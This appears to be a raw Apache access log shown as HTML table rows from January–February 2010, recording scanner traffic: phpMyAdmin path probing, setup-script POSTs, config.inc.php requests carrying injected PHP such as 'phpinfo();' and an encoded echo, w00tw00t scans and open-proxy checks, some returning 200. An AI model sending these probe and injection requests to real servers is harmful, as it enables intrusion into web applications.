&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:24 -0800] "GET //phpadmin/ HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:23 -0800] "GET //typo3/phpmyadmin/ HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:23 -0800] "GET //mysqladmin/ HTTP/1.1" 404 209

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:22 -0800] "GET //mysql/ HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:22 -0800] "GET //myadmin/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:21 -0800] "GET //dbadmin/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:21 -0800] "GET //db/ HTTP/1.1" 404 201

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:20 -0800] "GET //admin/php/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:20 -0800] "GET //admin/phpMyAdmin/ HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:19 -0800] "GET //admin/phpmyadmin/ HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:19 -0800] "GET //admin/pma/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:18 -0800] "GET //admin/ HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:17 -0800] "GET //PMA/ HTTP/1.1" 404 202

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:17 -0800] "GET //pma/ HTTP/1.1" 404 202

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:15 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:14 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:13 -0800] "GET //homework/ HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:20:48 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:20:47 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:18:47 -0800] "GET // HTTP/1.1" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:18:47 -0800] "GET //mysql/ HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:18:46 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
91.120.21.93 - - [11/Feb/2010:19:18:44 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.5.161.171 - - [11/Feb/2010:14:25:17 -0800] "GET / HTTP/1.1" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
199.233.182.11 - - [10/Feb/2010:16:27:47 -0800] "GET / HTTP/1.1" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
192.114.71.12 - - [10/Feb/2010:16:23:40 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.35 - - [10/Feb/2010:16:14:12 -0800] "GET / HTTP/1.0" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.183.15.9 - - [10/Feb/2010:07:44:48 -0800] "GET http://www.wantsfly.com/prx2.php HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [10/Feb/2010:06:47:03 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
60.54.235.66 - - [10/Feb/2010:06:32:27 -0800] "GET http://www.sina.com.cn/ HTTP/1.1" 200 1237

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.148.39.199 - - [10/Feb/2010:05:42:14 -0800] "GET / HTTP/1.1" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.38 - - [09/Feb/2010:02:56:27 -0800] "GET / HTTP/1.0" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.81.243.233 - - [08/Feb/2010:12:49:16 -0800] "GET /sharecrawler.html HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.81.243.233 - - [08/Feb/2010:12:43:16 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.81.243.233 - - [08/Feb/2010:12:43:16 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.81.243.233 - - [08/Feb/2010:12:42:42 -0800] "GET /sharecrawler.html HTTP/1.1" 200 1367419

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.241.227.84 - - [08/Feb/2010:12:42:45 -0800] "GET /robots.txt HTTP/1.1" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [08/Feb/2010:02:54:26 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [07/Feb/2010:23:53:08 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:52 -0800] "GET /Horde//README HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:51 -0800] "GET /horde-3.0.9//README HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:47 -0800] "GET /horde3//README HTTP/1.1" 404 212

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:45 -0800] "GET /horde2//README HTTP/1.1" 404 212

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:44 -0800] "GET /horde//README HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
198.166.10.249 - - [07/Feb/2010:17:54:42 -0800] "GET //README HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.114.49 - - [07/Feb/2010:17:32:49 -0800] "GET /robots.txt HTTP/1.0" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:38:26 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:25:49 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:16:40 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:11:50 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:09:00 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.191.103.197 - - [07/Feb/2010:16:07:06 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.32 - - [07/Feb/2010:13:51:01 -0800] "GET / HTTP/1.0" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [07/Feb/2010:11:08:35 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [06/Feb/2010:06:43:21 -0800] "GET http://proxyjudge1.proxyfire.net/fastenv HTTP/1.1" 404 205

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.39 - - [06/Feb/2010:01:22:24 -0800] "GET / HTTP/1.0" 200 1151

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
203.200.180.74 - - [06/Feb/2010:01:07:11 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.72.53.128 - - [05/Feb/2010:19:43:48 -0800] "GET / HTTP/1.1" 200 1151

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [05/Feb/2010:11:41:37 -0800] "GET http://proxyjudge1.proxyfire.net/fastenv HTTP/1.1" 404 205

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
209.151.164.28 - - [05/Feb/2010:10:14:53 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
82.3.220.15 - - [05/Feb/2010:07:10:46 -0800] "GET http://groups.ebay.co.uk/index.jspa HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
92.240.68.153 - - [05/Feb/2010:06:21:50 -0800] "GET http://www.tfarchive.com/toys/reviews/images/cyb_primus_planets.jpg HTTP/1.1" 404 240

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.94.233.135 - - [04/Feb/2010:18:25:17 -0800] "GET /sharecrawler.html HTTP/1.1" 200 179442

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:16 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:16 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:15 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:15 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:14 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:14 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:13 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:12 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:12 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
218.8.251.187 - - [03/Feb/2010:21:59:11 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
156.34.136.150 - - [03/Feb/2010:20:36:26 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
202.75.40.213 - - [02/Feb/2010:20:05:45 -0800] "GET /manager/html HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:41 -0800] "GET //shop/includes/general.js HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:41 -0800] "GET //ZenCart/includes/general.js HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:41 -0800] "GET //cart/includes/general.js HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:40 -0800] "GET //zen/includes/general.js HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:39 -0800] "GET //admin/includes/general.js HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:39 -0800] "GET //zencart/includes/general.js HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.125.223.96 - - [02/Feb/2010:12:43:38 -0800] "GET //includes/general.js HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [02/Feb/2010:11:58:23 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
62.193.232.96 - - [02/Feb/2010:11:41:36 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.249.65.234 - - [02/Feb/2010:10:24:32 -0800] "GET /sharecrawler.html HTTP/1.1" 200 64105

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.249.65.234 - - [02/Feb/2010:10:24:32 -0800] "GET /robots.txt HTTP/1.1" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.22.126.175 - - [02/Feb/2010:10:08:58 -0800] "GET /w00tw00t.at.ISC.SANS.test0:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [02/Feb/2010:09:11:47 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
208.80.193.40 - - [01/Feb/2010:09:28:19 -0800] "GET / HTTP/1.0" 200 1285

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.232.136.26 - - [01/Feb/2010:08:00:44 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [01/Feb/2010:00:50:39 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.111.155.122 - - [31/Jan/2010:16:09:28 -0800] "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:52:51 -0800] "GET /admin//setup/config.php?type=post HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:52:50 -0800] "GET /admin//scripts/setup.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:29:17 -0800] "GET /PMA//setup/config.php?type=post HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:29:16 -0800] "GET /PMA//scripts/setup.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:05:38 -0800] "GET /SQL//setup/config.php?type=post HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:13:05:37 -0800] "GET /SQL//scripts/setup.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:12:41:43 -0800] "GET /sql//setup/config.php?type=post HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:12:41:42 -0800] "GET /sql//scripts/setup.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:12:16:57 -0800] "GET /mysqladmin//setup/config.php?type=post HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:12:16:56 -0800] "GET /mysqladmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:52:17 -0800] "GET /phpMyAdmin2//setup/config.php?type=post HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:52:16 -0800] "GET /phpMyAdmin2//scripts/setup.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:27:43 -0800] "GET /phpmyadmin2//setup/config.php?type=post HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:27:42 -0800] "GET /phpmyadmin2//scripts/setup.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:02:58 -0800] "GET /myadmin//setup/config.php?type=post HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:11:02:57 -0800] "GET /myadmin//scripts/setup.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [31/Jan/2010:11:02:41 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:10:38:21 -0800] "GET /MyAdmin//setup/config.php?type=post HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:10:38:20 -0800] "GET /MyAdmin//scripts/setup.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:10:14:06 -0800] "GET /myAdmin//setup/config.php?type=post HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:10:14:05 -0800] "GET /myAdmin//scripts/setup.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:50:49 -0800] "GET /phpAdmin//setup/config.php?type=post HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:50:47 -0800] "GET /phpAdmin//scripts/setup.php HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:27:23 -0800] "GET /phpadmin//setup/config.php?type=post HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:27:22 -0800] "GET /phpadmin//scripts/setup.php HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:04:08 -0800] "GET /mysql//setup/config.php?type=post HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:09:04:07 -0800] "GET /mysql//scripts/setup.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:40:49 -0800] "GET /pma//setup/config.php?type=post HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:40:48 -0800] "GET /pma//scripts/setup.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:44 -0800] "GET /phpmyadmin//config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:44 -0800] "GET /phpmyadmin//config/config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:42 -0800] "POST /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:42 -0800] "GET /phpmyadmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:42 -0800] "GET /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:41 -0800] "GET /phpmyadmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:41 -0800] "GET /phpmyadmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:08:17:39 -0800] "GET /phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:38 -0800] "GET /phpMyAdmin//config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:37 -0800] "GET /phpMyAdmin//config/config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:36 -0800] "POST /phpMyAdmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:36 -0800] "GET /phpMyAdmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:35 -0800] "GET /phpMyAdmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:35 -0800] "GET /phpMyAdmin//setup/index.php?page=config HTTP/1.1" 200 2857

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:34 -0800] "GET /phpMyAdmin//setup/config.php?type=post HTTP/1.1" 303 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:54:33 -0800] "GET /phpMyAdmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:41 -0800] "GET /phpmyadmin//config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
80.80.162.26 - - [31/Jan/2010:07:31:41 -0800] "GET /phpmyadmin//config/config.inc.php?d=echo%20%6D%65%72%67%65 HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
